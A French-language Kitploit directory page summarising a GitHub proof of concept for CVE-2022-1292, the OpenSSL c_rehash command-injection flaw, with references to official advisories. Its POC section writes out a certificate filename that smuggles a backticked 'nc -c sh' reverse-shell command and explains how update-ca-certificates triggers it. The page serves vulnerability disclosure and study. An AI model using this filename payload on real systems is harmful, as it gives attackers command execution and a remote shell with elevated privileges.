Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-1292 — CVE-2022-1292 Vulnérabilité OpenSSL c_rehash - POC | Kitploit
Outils/GitHubGitHub/alcaparra/cve-2022-1292
Analyse des VulnérabilitésExploitationTests d'IntrusionCommandement et ContrôleApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubalcaparra/cve-2022-1292

CVE-2022-1292

CVE-2022-1292 Vulnérabilité OpenSSL c_rehash - POC

Voir le dépôt
288il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-1292 POC

POC Screenshot

Description

root@kitploit:~
The c_rehash script does not properly sanitise shell metacharacters to prevent command injection. 
This script is distributed by some operating systems in a manner where it is automatically executed.
On such operating systems, an attacker could execute arbitrary commands with the privileges of the script.
Use of the c_rehash script is considered obsolete and should be replaced by the OpenSSL rehash command line tool.

This script is executed by update-ca-certificates, from
ca-certificates, to re-hash certificates in /etc/ssl/certs/. An attacker able
to place files in this directory could execute arbitrary commands with the
privileges of the script.

Command injection ocurrs because filenames are not properly sanitized:

  • $fname =~ s/'/'\\''/g;
  • my ($hash, $fprint) = `"$openssl" crl $crlhash -fingerprint -noout -in '$fname'`;

This part of the script is vulerable, as closing the backticks allows for command execution, for example a file named: MyCert.crt`whoami` will run "whoami".

POC

  1. Navigate to /etc/ssl/certs/ (default) or other paths configured in update-ca-certificates
  2. echo "-----BEGIN CERTIFICATE-----" > "hey.crt\`nc -c sh 127.0.0.1 12345\`" (nc comme exemple de payload)
  3. Attendez ensuite l'exécution de update-ca-certificates. Vous pouvez le déclencher manuellement avec c_rehash .

Références

  • https://www.cvedetails.com/cve/CVE-2022-1292/
  • https://www.debian.org/security/2022/dsa-5139
  • https://lists.debian.org/debian-lts-announce/2022/05/msg00019.html
  • https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=1ad73b4d27bd8c1b369a3cd453681d3a4f1bb9b2
  • https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=e5fd1728ef4c7a5bf7c7a7163ca60370460a6e23
  • https://www.openssl.org/news/secadv/20220503.txt
Télécharger l’outil